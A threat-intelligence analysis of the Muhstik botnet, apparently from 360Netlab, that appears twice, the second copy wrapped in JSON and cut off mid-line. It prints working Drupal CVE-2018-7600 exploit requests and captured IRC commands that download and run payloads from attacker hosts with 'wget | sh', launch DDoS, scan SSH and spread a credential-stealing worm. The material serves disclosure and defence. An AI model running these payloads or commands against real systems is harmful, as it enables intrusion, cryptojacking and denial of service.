exploit payloads apart from drupal * Target Ports: Scans TCP port 80, 8080, 7001, 2004, and tries varieties of different payloads on each port. * Scan report: Once successfully exploited, the payloads will report to 51.254.219.134. Different payloads will report to different URL, so the attacker can identify victims' vulnerabilities easily. Acquire scanning target IP: hxxp://191.238.234.227/amazon.php #We try to get 50 network cidr from this URL, all of them belongs to Amazon hxxp://191.238.234.227/dedi.php #We try to get 50 network cidr from this URL, the owners company are dispersed Delivered exploit payloads: ClipBucket：rss.php DasanNetwork Solution：/cgi-bin/index.cgi Drupal:CVE-2018-7600 WebDav Weblogic:CVE-2017-10271 Webuzo:install.php Wordpress:install.php Mapping between target ports and exploit payloads: 80：Weblogic，Wordpress，Drupal，WebDav，ClipBucket 2004：Webuzo 7001：Weblogic 8080：Wordpress，WebDav，DasanNetwork Solution Reporting URL: hxxp://51.254.219.134/clipbucket.php #ClipBucket hxxp://51.254.219.134/dasan.php #DasanNetwork_Solution hxxp://51.254.219.134/dav.php #Webdav hxxp://51.254.219.134/drupal.php #Drupal hxxp://51.254.219.134/oracleaudit.php?port= #Weblogic hxxp://51.254.219.134/tomato.php #http401 for intermediate test hxxp://51.254.219.134/webuzo.php #Webuzo hxxp://51.254.219.134/wp.php #Wordpress Sample aiox86 is Delivered by Muhstik Botnet 360Netlab has been monitoring many botnets and tracking their attack commands. We observe that Muhstik botnet C&C server 139.99.101.96:9090 launched commands to deliver aiox86 around 2018-04-19 04:04. Muhstik Botnet Family Muhstik is a variant of the Tsunami botnet. Its features include: * Representative sample: c37016e34304ff4a2a0db1894cdcdb92 * C2 server: 11 domains/IPs, all using port 9090. Maybe load balanced * Communication protocol: Based on the IRC protocol, sending different instructions via different channels * IRC Channels: We observed multiple IRC Channels, all starting with "muhstik". At present, we can not confirm which specific channels are open on which C2 server. This is due to the characteristics of the IRC protocol itself. Only when we receive a communication instruction from the corresponding channel can we confirm its present. The structure of the Muhstik botnet is quite complicated. As mentioned earlier, 11 C2 domains/IPs are hard-coded in the sample. In addition, it has many ways to propagate and monetize. Muhstik propagation modules: * aioscan scanning module: As mentioned above, the scanning module contains 7 scanning payloads on 4 ports * SSH scanning module: weak password scanning Muhstik monetization methods: * xmrig mining: Digging XMR cryptocurrency coins with a self-built mining pool 47.135.208.145:4871 * cgminer minig: Digging BTC cryptocurrency coins, using multiple mining pools, all with username reb0rn.D3 * DDoS attack: During 2018-04-19 07:20~07:40, we have intercepted multiple DDoS attack instructions targeting 46.243.189.102. (We did not see this attack on our DDoSMon.net, but we did see many earlier attacks against this IP) Muhstik cgminer wallet and mining pool address: { "url": "stratum+tcp://dash.viabtc.com:443", "user": "reb0rn.D3", "pass": "x" }, { "url": "stratum+tcp://dash.viabtc.com:443", "user": "reb0rn.D3", "pass": "x" }, { "url": "stratum+tcp://dash.viabtc.com:443", "user": "reb0rn.D3", "pass": "x" } Muhstik C2 list, sample hard-code ordered 139.99.101.96:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 192.99.71.250:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 121.128.171.44:9090 AS4766 Korea Telecom #Not active now 66.70.190.236:9090 AS16276 OVH SAS #Not active now 145.239.93.125:9090 AS16276 OVH SAS irc.de-zahlung.eu:9090 #Not active now IRC Channel, alphabetical ordered #muhstik #muhstik-i586 #muhstik-SSH #muhstik-x86 A number of botnet instructions were captured when we monitoring these IRC Channels. We list part of them here, with details as follows: #muhstik-x86 # implant xmrig64 miner program #muhstik-x86 # implant muhstik.aioscan scan module #muhstik-x86 # check if bot has drupal presence #muhstik # implant muhstik.aioscan scan module #muhstik # DDoS attack command #muhstik-SSH # update cgminer miner configurations #muhstik-SSH # perform SSH scanning #muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation #muhstik-i586 # implant muhstik.aioscan scan module #muhstik-i586 # implant xmrig32 miner program #muhstik-x86 # implant xmrig64 miner program :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH curl http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH wget -qO - http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 & #muhstik-x86 # implant muhstik.aioscan scan module :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH (wget -c http://191.238.234.227/x/aiox86 -O /tmp/aiox86 ; chmod +x /tmp/aiox86) > /dev/null 2>&1 :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 amazon > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 dedi > /dev/null 2>&1 & #muhstik-x86 # check if bot has drupal present :m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1)) :m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1)) || echo "No drupal" :m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php | grep 17 && echo $(hostname -I | cut -d" " -f 1)) :m!m@null PRIVMSG #muhstik-x86 :(wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1)) || echo "No drupal" #muhstik # implant muhstik.aioscan scan module :TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm amazon > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm dedi > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH (wget -c http://191.238.234.227/x/aioarm -O /tmp/aioarm ; chmod +x /tmp/aioarm) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel amazon > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel dedi > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH (wget -c http://191.238.234.227/x/aiomipsel -O /tmp/aiomipsel ; chmod +x /tmp/aiomipsel) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips amazon > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips dedi > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH (wget -c http://191.238.234.227/x/aiomips -O /tmp/aiomips ; chmod +x /tmp/aiomips) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc amazon > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc dedi > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH (wget -c http://191.238.234.227/x/aioppc -O /tmp/aioppc ; chmod +x /tmp/aioppc) > /dev/null 2>&1 & #muhstik # DDoS attack command :m!m@null PRIVMSG #muhstik :!* STD 46.243.189.102 127 60 XXXXXXXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*0|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*1|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*2|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*3|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*4|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*5|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*6|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*7|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*8|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*9|* STD 46.243.189.102 127 30 XXXX #muhstik-SSH # update cgminer miner configurations :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep D3 && ( wget -qO - http://51.254.221.129/cgminer.x11.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart ) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep L3 && ( wget -qO - http://51.254.221.129/cgminer.scrypt.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart )> /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S4 && (cgminer-api "addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x" && cgminer-api "switchpool|3" ) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S5 && (cgminer-api "addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x" && cgminer-api "switchpool|3" ) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S7 && ( wget -qO - http://51.254.221.129/cgminer.sha256.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart) > /dev/null 2>&1 & #muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. Worm propagation :m!m@null PRIVMSG #muhstik-ssh :!* SH wget -qO - http://121.127.216.91/multiply/wp-content/plugins/all-in-one-wp-migration/t6ssh | sh > /dev/null 2>&1 & #muhstik-SSH #perform SSH scanning :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 100 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 101 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 102 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 103 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 104 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 106 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 107 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 108 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 110 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 111 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 112 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 113 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 114 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 118 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 119 100 25 54.39.23.28 51.254.219.137 #muhstik-i586 # implant muhstik.aioscan scan module :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH (wget -c http://191.238.234.227/x/aioi586 -O /tmp/aioi586 ; chmod +x /tmp/aioi586) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 amazon > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 dedi > /dev/null 2>&1 & #muhstik-i586 #implant xmrig32 miner program :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH wget -qO - http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH curl http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 & Muhstik May Has a Long History When tracing back, we found the following domain names are related to muhstik. These domain names has a longer history back to 2016. dasan.deutschland-zahlung.eu 134.ip-51-254-219.eu uranus.kei.su wireless.kei.su www.kei.su y.fd6fq54s6df541q23sdxfg.eu We will continue to monitor this activity, if readers have new discoveries, feel free to contact us on our twitter. IoC Muhstik C2 List 139.99.101.96:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 192.99.71.250:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 121.128.171.44:9090 AS4766 Korea Telecom #Not active now 66.70.190.236:9090 AS16276 OVH SAS #Not active now 145.239.93.125:9090 AS16276 OVH SAS irc.de-zahlung.eu:9090 #Not active now Muhstik Malware URL hxxp://51.254.221.129/c/cron hxxp://51.254.221.129/c/tfti hxxp://51.254.221.129/c/pftp hxxp://51.254.221.129/c/ntpd hxxp://51.254.221.129/c/sshd hxxp://51.254.221.129/c/bash hxxp://51.254.221.129/c/pty hxxp://51.254.221.129/c/shy hxxp://51.254.221.129/c/nsshtfti hxxp://51.254.221.129/c/nsshcron hxxp://51.254.221.129/c/nsshpftp hxxp://51.254.221.129/c/fbsd hxxp://191.238.234.227/x/aiox86 Muhstik Self-built Mining Pool 47.135.208.145:4871 Muhstik Malware MD5 c37016e34304ff4a2a0db1894cdcdb92 #main sample da17dc1438bb039968a5737c6fbc88cd #scanning module

{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"On March 28, 2018, drupal released a patch for CVE-2018-7600. Drupal is an open-source content management system written in PHP, quite popular in many sites to provide web service. This vulnerability exists in multiple drupal versions, which may be exploited by an attacker to take full control of the target.\n\nStarting from April 13, 2018, 360Netlab observed a large number of scans on the internet against this vulnerability. At the first analysis, we believe that at least 3 groups of malware campaigns are exploiting. \n\nWe noticed one of them has worm-propagation behavior. After investigation, we believe this botnet has been active for quit a time. We name it muhstik, for this key word keeps popup in its binary file name and the communication IRC channel.\n\nMuhstik is worthy of community's attention for following characteristics:\n\n - Worm Propagation\n - Long standing\n - Use 7 exploits\n - Use xmrig, cgminer and DDoS for profit\n\n#### Attack Payload\n\nMuhstik uses the following two sets of attack payloads, which contributes around 80% of all the payloads we saw:\n\n - #1 : Active from 2018-04-14 03:33:06 to 2018-04-17 15:40:58\n - #2 : Active from 2018-04-16 19:38:39 till now\n\nThe source IP addresses delivering these payloads are very dispersed, with most of them hosting Drupal services. This is an indicator of worm, which arouses our vigilance.\n\nDetails of payload #1\n```\nPOST\n/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\nCache-Control: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: {target}\nContent-Type: application/x-www-form-urlencoded\nContent-length: 2048\nform_id=user_register_form&_drupal_ajax=1&mail[#post_render[]=exec&mail[#type]=markup&mail[#markup]=echo \"team6 representing 73de29021fd0d8d2cfd204d2d955a46d\"|tee t6nv\n```\n\nDetails of payload #2\n```\nPOST\n/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\nCache-Control: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: {target}\nContent-Type: application/x-www-form-urlencoded\nContent-length: 170\nform_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget%20http%3A%2F%2F51.254.219.134%2Fdrupal.php\n```\n\n#### Sample aiox86 Delivers Attack Payload #2\n\nHere is the key sample:\n```\nda17dc1438bb039968a5737c6fbc88cd aiox86\n```\n\nWe believe that the above two attack payloads are delivered by this sample and related ones:\n\n - attack payload #2 is embedded in aiox86, shown in the following figure\n - attack payload #1 is similar to #2, thus should be launched by other related samples\n\nBelow is part of the samples, same to payload #2.\n\n\nApart from drupal exploit, the aiox86 scanning module is quite complicated:\n\n - **Target IP**: Acquired from remote server 191.238.234.227. The attacker can control the scanning targets flexibly in this way\n - **Exploit payloads**: Contains 6 other exploit payloads apart from drupal\n - **Target Ports**: Scans TCP port 80, 8080, 7001, 2004, and tries varieties of different payloads on each port.\n - **Scan report**: Once successfully exploited, the payloads will report to 51.254.219.134. Different payloads will report to different URL, so the attacker can identify victims' vulnerabilities easily.\n\n\nAcquire scanning target IP:\n```\nhxxp://191.238.234.227/amazon.php #We try to get 50 network cidr from this URL, all of them belongs to Amazon\nhxxp://191.238.234.227/dedi.php #We try to get 50 network cidr from this URL, the owners company are dispersed\n```\n\nDelivered exploit payloads:\n```\nClipBucket：rss.php\nDasanNetwork Solution：/cgi-bin/index.cgi\nDrupal:CVE-2018-7600\nWebDav\nWeblogic:CVE-2017-10271\nWebuzo:install.php\nWordpress:install.php\n```\n\nMapping between target ports and exploit payloads:\n```\n80：Weblogic，Wordpress，Drupal，WebDav，ClipBucket\n2004：Webuzo\n7001：Weblogic\n8080：Wordpress，WebDav，DasanNetwork Solution\n```\n\nReporting URL:\n```\nhxxp://51.254.219.134/clipbucket.php\t#ClipBucket\nhxxp://51.254.219.134/dasan.php\t#DasanNetwork_Solution\nhxxp://51.254.219.134/dav.php\t#Webdav\nhxxp://51.254.219.134/drupal.php\t#Drupal\nhxxp://51.254.219.134/oracleaudit.php?port=\t#Weblogic\nhxxp://51.254.219.134/tomato.php\t#http401 for intermediate test\nhxxp://51.254.219.134/webuzo.php\t#Webuzo\nhxxp://51.254.219.134/wp.php\t#Wordpress\n```\n\n#### Sample aiox86 is Delivered by Muhstik Botnet\n\n360Netlab has been monitoring many botnets and tracking their attack commands.\nWe observe that Muhstik botnet C&C server 139.99.101.96:9090 launched commands to deliver aiox86 around 2018-04-19 04:04.\n\n\n\n#### Muhstik Botnet Family\n\nMuhstik is a variant of the Tsunami botnet. Its features include:\n\n - Representative sample: c37016e34304ff4a2a0db1894cdcdb92\n - C2 server: 11 domains/IPs, all using port 9090. Maybe load balanced\n - Communication protocol: Based on the IRC protocol, sending different instructions via different channels\n - IRC Channels: We observed multiple IRC Channels, all starting with \"muhstik\". At present, we can not confirm which specific channels are open on which C2 server. This is due to the characteristics of the IRC protocol itself. Only when we receive a communication instruction from the corresponding channel can we confirm its present.\n\nThe structure of the Muhstik botnet is quite complicated. As mentioned earlier, 11 C2 domains/IPs are hard-coded in the sample. In addition, it has many ways to propagate and monetize.\n\nMuhstik propagation modules:\n\n - aioscan scanning module: As mentioned above, the scanning module contains 7 scanning payloads on 4 ports\n - SSH scanning module: weak password scanning\n\nMuhstik monetization methods:\n\n - xmrig mining: Digging XMR cryptocurrency coins with a self-built mining pool 47.135.208.145:4871\n - cgminer minig: Digging BTC cryptocurrency coins, using multiple mining pools, all with username reb0rn.D3\n - DDoS attack: During 2018-04-19 07:20~07:40, we have intercepted multiple DDoS attack instructions targeting 46.243.189.102. (We did not see this attack on our DDoSMon.net, but we did see many earlier attacks against this IP)\n\nMuhstik cgminer wallet and mining pool address:\n```\n {\n \"url\": \"stratum+tcp://dash.viabtc.com:443\",\n \"user\": \"reb0rn.D3\",\n \"pass\": \"x\"\n },\n {\n \"url\": \"stratum+tcp://dash.viabtc.com:443\",\n \"user\": \"reb0rn.D3\",\n \"pass\": \"x\"\n },\n {\n \"url\": \"stratum+tcp://dash.viabtc.com:443\",\n \"user\": \"reb0rn.D3\",\n \"pass\": \"x\"\n }\n```\n\nMuhstik C2 list, sample hard-code ordered\n```\n139.99.101.96:9090\tAS16276 OVH SAS\t\n144.217.84.99:9090\tAS16276 OVH SAS\t\n145.239.84.0:9090\tAS16276 OVH SAS\t\n147.135.210.184:9090\tAS16276 OVH SAS\t\n142.44.163.168:9090\tAS16276 OVH SAS\t\n192.99.71.250:9090\tAS16276 OVH SAS\t\n142.44.240.14:9090\tAS16276 OVH SAS\t\n121.128.171.44:9090\tAS4766 Korea Telecom\t#Not active now\n66.70.190.236:9090\tAS16276 OVH SAS\t #Not active now\n145.239.93.125:9090\tAS16276 OVH SAS\t\nirc.de-zahlung.eu:9090\t\t #Not active now\n```\n\nIRC Channel, alphabetical ordered\n```\n#muhstik\n#muhstik-i586\n#muhstik-SSH\n#muhstik-x86\n```\n\nA number of botnet instructions were captured when we monitoring these IRC Channels. We list part of them here, with details as follows:\n```\n#muhstik-x86 # implant xmrig64 miner program\n#muhstik-x86 # implant muhstik.aioscan scan module\n#muhstik-x86 # check if bot has drupal presence\n#muhstik # implant muhstik.aioscan scan module\n#muhstik # DDoS attack command\n#muhstik-SSH # update cgminer miner configurations\n#muhstik-SSH # perform SSH scanning\n#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. worm propagation\n#muhstik-i586 # implant muhstik.aioscan scan module\n#muhstik-i586 # implant xmrig32 miner program\n```\n\n\\#muhstik-x86 # implant xmrig64 miner program\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH curl http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH wget -qO - http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 & \n```\n\n\\#muhstik-x86 # implant muhstik.aioscan scan module\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH (wget -c http://191.238.234.227/x/aiox86 -O /tmp/aiox86 ; chmod +x /tmp/aiox86) > /dev/null 2>&1 :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 dedi > /dev/null 2>&1 &\n```\n\n\\#muhstik-x86 # check if bot has drupal present\n```\n:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d\" \" -f 1))\n:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d\" \" -f 1)) || echo \"No drupal\"\n:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php | grep 17 && echo $(hostname -I | cut -d\" \" -f 1))\n:m!m@null PRIVMSG #muhstik-x86 :(wc -l autoload.php && echo $(hostname -I | cut -d\" \" -f 1)) || echo \"No drupal\"\n```\n\n\\#muhstik # implant muhstik.aioscan scan module\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm dedi > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH (wget -c http://191.238.234.227/x/aioarm -O /tmp/aioarm ; chmod +x /tmp/aioarm) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel dedi > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH (wget -c http://191.238.234.227/x/aiomipsel -O /tmp/aiomipsel ; chmod +x /tmp/aiomipsel) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips dedi > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH (wget -c http://191.238.234.227/x/aiomips -O /tmp/aiomips ; chmod +x /tmp/aiomips) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc dedi > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH (wget -c http://191.238.234.227/x/aioppc -O /tmp/aioppc ; chmod +x /tmp/aioppc) > /dev/null 2>&1 &\n```\n\n\\#muhstik # DDoS attack command\n```\n:m!m@null PRIVMSG #muhstik :!* STD 46.243.189.102 127 60 XXXXXXXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*0|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*1|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*2|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*3|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*4|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*5|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*6|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*7|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*8|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*9|* STD 46.243.189.102 127 30 XXXX\n```\n\n\\#muhstik-SSH # update cgminer miner configurations\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep D3 && ( wget -qO - http://51.254.221.129/cgminer.x11.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart ) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep L3 && ( wget -qO - http://51.254.221.129/cgminer.scrypt.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart )> /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S4 && (cgminer-api \"addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x\" && cgminer-api \"switchpool|3\" ) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S5 && (cgminer-api \"addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x\" && cgminer-api \"switchpool|3\" ) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S7 && ( wget -qO - http://51.254.221.129/cgminer.sha256.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart) > /dev/null 2>&1 &\n```\n\n\\#muhstik-SSH # stealing local ssh credentials, further horizontal expansion, delivering itself. Worm propagation\n```\n:m!m@null PRIVMSG #muhstik-ssh :!* SH wget -qO - http://121.127.216.91/multiply/wp-content/plugins/all-in-one-wp-migration/t6ssh | sh > /dev/null 2>&1 &\n```\n\n\n\n\\#muhstik-SSH #perform SSH scanning\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 100 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 101 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 102 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 103 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 104 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 106 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 107 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 108 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 110 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 111 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 112 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 113 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 114 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 118 100 25 54.39.23.28 51.254.219.137\n:TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 119 100 25 54.39.23.28 51.254.219.137\n```\n\n\\#muhstik-i586 # implant muhstik.aioscan scan module\n```\n:TIMERS!tcl@localhost 